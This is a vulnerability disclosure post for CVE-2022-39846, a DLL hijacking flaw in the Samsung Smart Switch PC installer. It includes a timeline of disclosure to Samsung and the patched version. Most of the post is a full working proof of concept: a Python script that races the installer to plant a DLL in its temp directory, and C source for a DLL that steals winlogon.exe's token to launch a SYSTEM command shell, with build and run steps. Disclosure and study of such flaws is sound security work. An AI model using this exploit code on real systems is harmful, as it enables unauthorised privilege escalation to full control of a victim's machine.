Home CVE-2022-39846: DLL hijacking vulnerability in Smart Switch PC
Post
Cancel

CVE-2022-39846: DLL hijacking vulnerability in Smart Switch PC

0x01: Details

0x02: Test Environment

  • Samsung Smart Switch for Windows : 4.3.22063_6
  • OS : Windows 10 Pro 64-bit 21H2 (build 19044.1826)

0x03: Vulnerability details

DLL hijacking vulnerability in Smart Switch PC prior to version 4.3.22083_3 allows attacker to execute arbitrary code.

0x04: Technical description

The Samsung Smart Switch installer operates with Administrator privileges. The program writes logs to the location C:\Users\%Username%\AppData\Local\Temp\SmartSwitchPC_Install.Log. The log format is as follows:

1
2
3
4
5
6
7
8
[Smart Switch] [ TIME : 19:17:12 ] OnBegin(+)
[Smart Switch] [ TIME : 19:17:12 ] C:\Users\%Username%\AppData\Local\Temp\{Random_GUID}\
[Smart Switch] [ TIME : 19:17:12 ]
[Smart Switch] [ TIME : 19:17:12 ] bIsWow64 TRUE
[Smart Switch] [ TIME : 19:17:12 ] GetKies2InstallFileName(+)
[Smart Switch] [ TIME : 19:17:12 ] Write Key :Software\\Samsung
[Smart Switch] [ TIME : 19:17:12 ] Write KeyName :KIESSETUP
....

The second line of the log file contains the path to the directory where the dll files are to be loaded.

Example: C:\Users\%Username%\AppData\Local\Temp\{Random_GUID}

The Samsung Smart Switch installer loads MSSetupAddinDllLOC.dll from this directory. This dll file is loaded before the license agreement, sometimes after the license agreement, and is loaded multiple times. For this reason, the dll hijacking succeeds by looking for that Random_GUID in the log file and copying the dll to the C:\Users\%Username%\AppData\Local\Temp\{Random_GUID} directory. Since this dll is loaded with Administrator privileges, it can be elevated with SYSTEM privileges.

Note: %Username% must be replaced with the account name of the user logged into Windows.

0x05: Proof-of-Concept (PoC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# python 3.8.2
import os
import shutil
import getpass

USER_NAME = getpass.getuser()
LOG_FILE = f'C:\\Users\\{USER_NAME}\\AppData\\Local\\Temp\\SmartSwitchPC_Install.Log'
DLL_NAME = 'MSSetupAddinDllLOC.dll'

def checkLine(path : str, index : int) -> str:
    with open(path, 'r', encoding='utf-8') as f:
        ls = f.readlines()
        if len(ls) >= index:
            return ls[index-2]
        else:
            return ''

if __name__ == '__main__':
    if os.path.exists(LOG_FILE):
        os.remove(LOG_FILE)

    while True:
        if os.path.exists(LOG_FILE) and (st := checkLine(LOG_FILE, 3)):
            print('[+] Found Log File')

            temp_path = st[st.rfind(']')+2:st.rfind('}')+1]
            dll_path = temp_path + '\\' + DLL_NAME

            shutil.copy(DLL_NAME, dll_path)
            print('[+] DLL Copy Success')
            break

poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <windows.h>
#include <Psapi.h>
#include <Tlhelp32.h>
#include <sddl.h>

#pragma comment (lib,"advapi32.lib")

int exploit() {
	DWORD lpidProcess[2048], lpcbNeeded, cProcesses;
	EnumProcesses(lpidProcess, sizeof(lpidProcess), &lpcbNeeded);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	PROCESSENTRY32 p32;
	p32.dwSize = sizeof(PROCESSENTRY32);

	int processWinlogonPid;

	if (Process32First(hSnapshot, &p32)) {
		do {
			if (wcscmp(p32.szExeFile, L"winlogon.exe") == 0) {
				printf("[+] Located winlogon.exe by process name (PID %d)\n", p32.th32ProcessID);
				processWinlogonPid = p32.th32ProcessID;
				break;
			}
		} while (Process32Next(hSnapshot, &p32));

		CloseHandle(hSnapshot);
	}

	LUID luid;
	HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

	if (currentProc) {
		HANDLE TokenHandle = NULL;
		BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
		if (hProcessToken) {
			BOOL checkToken = LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);

			if (!checkToken) {
				printf("[+] Current process token already includes SeDebugPrivilege\n");
			}
			else {
				TOKEN_PRIVILEGES tokenPrivs;

				tokenPrivs.PrivilegeCount = 1;
				tokenPrivs.Privileges[0].Luid = luid;
				tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

				BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);

				if (adjustToken != 0) {
					printf("[+] Added SeDebugPrivilege to the current process token\n");
				}
			}
			CloseHandle(TokenHandle);
		}
	}
	CloseHandle(currentProc);

	HANDLE hProcess = NULL;
	HANDLE TokenHandle = NULL;
	HANDLE NewToken = NULL;
	BOOL OpenToken;
	BOOL Impersonate;
	BOOL Duplicate;

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processWinlogonPid);

	if (!hProcess) {
		printf("[-] Failed to obtain a HANDLE to the target PID\n");
		return -1;
	}

	printf("[+] Obtained a HANDLE to the target PID\n");

	OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);

	if (!OpenToken) {
		printf("[-] Failed to obtain a HANDLE to the target TOKEN %d\n", GetLastError());
	}

	printf("[+] Obtained a HANDLE to the target TOKEN\n");

	Impersonate = ImpersonateLoggedOnUser(TokenHandle);

	if (!Impersonate) {
		printf("[-] Failed to impersonate the TOKEN's user\n");
		return -1;
	}

	printf("[+] Impersonated the TOKEN's user\n");

	Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken);

	if (!Duplicate) {
		printf("[-] Failed to duplicate the target TOKEN\n");
		return -1;
	}

	printf("[+] Duplicated the target TOKEN\n");

	BOOL NewProcess;

	STARTUPINFO lpStartupInfo = { 0 };
	PROCESS_INFORMATION lpProcessInformation = { 0 };

	lpStartupInfo.cb = sizeof(lpStartupInfo);

	NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation);

	if (!NewProcess) {
		printf("[-] Failed to create a SYSTEM process\n");
		return -1;
	}

	printf("[+] Created a SYSTEM process\n");

	CloseHandle(NewToken);
	CloseHandle(hProcess);
	CloseHandle(TokenHandle);

	return 0;
}

BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH: {
			exploit();
			exit(-1);
            break;
        }

        case DLL_THREAD_ATTACH: {
            break;
        }

        case DLL_THREAD_DETACH: {
            break;
        }

        case DLL_PROCESS_DETACH: {
            break;
        }
    }
    return TRUE;
}

main.c

  1. Use Visual Studio 2022.
  2. Compile the project in the DLL directory in x86 Release mode.
  3. Rename the compiled dll to MSSetupAddinDllLOC.dll and place it in the same directory as poc.py.
  4. Run poc.py with python 3.8.2
  5. Run Samsung Smart Switch for Windows Installer

0x06: Affected Products

This vulnerability affects the following product:

  • Smart Switch PC < 4.3.22083_3

0x07: TimeLine

  • 2022/08/02 : First time contacted via Samsung Mobile Security.
  • 2022/08/03 : I received a call from Samsung Mobile Security to analyze the vulnerability.
  • 2022/08/17 : I received a call from Samsung Mobile Security to determine the vulnerability as moderate and proceed with the patch.
  • 2022/09/07 : The vulnerability has been patched, and CVE-2022-39846 (SVE-2022-1841) has been issued.

0x08: Reference

This post is licensed under CC BY 4.0 by the author.

CVE-2022-4956: Advaned Installer Local Privilege Escalation Vulnerability

CVE-2022-44898: ASUS AuraSync Kernel Stack Based Buffer Overflow Local Privilege Escalation